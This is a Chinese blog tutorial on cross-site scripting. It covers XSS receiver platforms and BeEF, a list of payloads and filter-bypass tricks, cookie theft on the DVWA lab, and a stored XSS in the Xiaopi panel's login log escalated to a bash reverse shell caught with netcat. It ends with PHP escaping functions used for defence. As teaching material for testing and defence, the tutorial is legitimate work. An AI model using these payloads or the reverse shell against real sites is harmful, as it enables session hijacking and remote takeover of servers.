浅谈xss

作者:凌度

仅供学习,切勿用于非法途径

1. xss 利用工具:

1. github 中推荐的 xss 平台项目:

https://github.com/firesunCN/BlueLotus_XSSReceiver

安装省略

img

https://github.com/78778443/xssplatform

2. 在线利用平台:

http://xss8.cc/

3. beef-xss

该工具是 Kali 自带的:

在左上角工具栏里输入 beef 然后启动即可,beef 的默认端口是 3000,它会自动生成一个注入的 js 路径,http://127.0.0.1:3000/hook.js 文件

注意:这里我们需要注意的一点是,当你进行插入外网的时候,需要将自己的公网 ip 替换 127.0.0.1

2. xss 利用的几种方式:

1. img,a,input 标签的简单利用:

  1. 当 img 标签出现路径寻找错误的时候,会触发 onerror 事件,从而弹窗 123
<img src="#" onerror=alert(123)>
<img src="223123" onerror=alert(123)>
  1. 鼠标点击 a 链接之后触发弹窗
<a href="#" onclick=alert(123)> 

  1. iframe 加载文件后进行弹窗
<iframe onload=alert(123)>

2. xss 常见 payload(包括绕过的 payload):

<script>alert(1)</script>        //这里alert(1)只是为了简单明了,当然可以弹出cookie.把1换成document.cookie即可.
<script src=x onerror=alert(1)></script>   //引入x,由于x不存在,触发onerror函数,进行弹框
<script src='http://www.test.com/probe.js'></script>   //直接引入到攻击者的后台网站(可以直接用beef)
<svg onload=alert(1)>              //svg标签用来插入图形,onload表示页面加载完成,触发弹框

<video src=1 onerror=alert(1)>   //插入视频时,错误就触发弹框
<audio src=1 onerror=alert(1)>     //插入声音时,错误就触发弹框
<a href=javascript:alert(1)></a>   //href里可以使用javascript伪协议进行弹框(当过滤了其他语句时,可以使用)
  <iframe src="javascript:alert(111)"></iframe>  //火狐/IE/谷歌都支持

3. xss 利用分两种情况

1. html 标签外部:
<p>hello
<script type="text/javascript">alert('我是html中xss')</script>
</p>
2. html 标签内部(通常为 input 标签):
<input type="text" name="" value="{payload}">

这个时候,我们的 payload 里面就是需要使用 val"> "去闭合双引号

闭合之后的语句如下所示:

<input type="text" name="" value=" val"> <script>alert(1)</script> "">
3. script 标签内部:

'去闭合前面的变量和 script 标签

<script type="text/javascript">
 //原始语句:var x='hello{payload}';先用'</script>闭合前边的变量和script标签,再重新构造标签.
 var x = 'hello'</script><script type="text/javascript">alert(111)</script>>';
 document.write(x);
</script>

当然你也是可以不用

<input name=keyword  value="{payload}">

在 payload 设置值为:

val" οnclick="javascript:alert(123)"
或者
val" οnclick="alert(123)"

放入进去就是

<input name=keyword value="val" onclick="javascript:alert(123)"">  # 点击之后就利用伪协议去执行 js 脚本
或者
<input name=keyword value="val" onclick="alert(123)"">  # 点击之后直接弹窗123
<input type=image onerror=alert(1) src=1 >

3. 反射型 xss 利用:(原理一致,就不举例其它类型了)

1. 利用反射型 xss 获取 cookie:

以 dvwa 靶场作为案例:

img

我们使用平台自动生成的 payload 然后将其放入框中

img

img

img

接下来,我们点击 submit ,然后回到 xss 平台

img

img

刷新之后,我们就会看到已经登录到你拿到 cookie 用户的登录界面了

img

img

2. 存储型 xss(linux小皮面板通杀,从 xss 发现到 rce)

1. xss 漏洞的发现:

首先我们登录进入到我们小皮的后台,然后我们发现有一个操作日志,会记录登录的信息,于是有了一个想法,那我先输入一个恶意代码进去,将恶意代码进行存储,然后在使用正确的用户名和密码进去,是不是能执行该恶意代码

img

接下来我故意输入一个恶意代码,然后登录

img

然后我们使用正确的用户登录,发现弹窗成功,因此验证成功,存在存储型 xss

img

2. rce 的利用:

1. kali 中 nc 提前做好监听:
nc -lnvp 8855

img

2. shell 的生成:
bash -i >& /dev/tcp/192.168.16.128/8855 0>&1

img

img

img

成功拿到 shell

3. xss 编码绕过:

1. 常见编码:
编码说明:

一般情况为了防止服务端对用户输入做了过滤,这时候可以尝试用编码进行绕过, 有的浏览器版本差异,需测试不同的语句,是否能被浏览器执行.

URL编码:将不安全的字符使用URL方式传输; 比如%20(空格)
html编码:防止特殊字符比如<>对页面造成影响,一般以&开头,分号结果.
javascript编码: 可以识别8进制/16进制和Unicode编码
base64编码: 一般需要配合data协议使用

4. xss 相关防御函数:

1. htmlspecialchars:

该函数可以把输入内容转换为HTML实体。

在 HTML 中,某些字符是预留的,例如在 HTML 中不能使用小于号 < 和大于号 > ,这是因为浏览器会误认为它们是标签。因此我们要使用这些预定义的字符的时候,我们需要进行 html 编码

1. 该函数预定义的字符是:

1. 该函数的语法:htmlspecialchars(string,flags,character-set,double_encode)
& (和号)成为 &amp
" (双引号)成为 &quot
’ (单引号)成为&#039
< (小于)成为 &lt 
(大于)成为 &gt
2. 过滤原理:

htmlspecialchars() 函数把预定义的字符转换为 HTML 实体,从而使XSS攻击失效。但是这个函数默认配置不会将单引号和双引号过滤,只有设置了quotestyle规定如何编码单引号和双引号才能会过滤掉单引号

可用的quotestyle类型:
ENT_COMPAT - 默认。仅编码双引号
ENT_QUOTES - 编码双引号和单引号
ENT_NOQUOTES - 不编码任何引号

//举例1:设置ENT_QUOTES
$message = htmlspecialchars($_GET['message'],ENT_QUOTES);
//举例2:
$str = "";
echo $str;
$str1 = htmlspecialchars($str); 

2.htmlentities()作用:

 #基本格式:htmlentities(string,flag,character-set,double_encode)函数
   $str = "Bill & 'Steve'";
   echo  htmlentities($str);
   echo htmlentities($str, ENT_COMPAT); // 只转换双引号

3.strip_tags()函数作用:

自动去掉字符串中HTML/XML和PHP的标签;始终会剥离HTML注释,不能修改.

#举例1:移除html标签
echo strip_tags("Hello world!");  #结果Hello world!
#举例2:移除JS标签
$str = "";
$new = strip_tags($str);
echo $new;   #结果alert(document.cookie)

4.这些函数虽然能从一定程度上实现对XSS的防护,但是有的时候不够灵活. 还可以根据需求,自定义函数,对一些特殊字符进行转译

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

ldsecurity

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值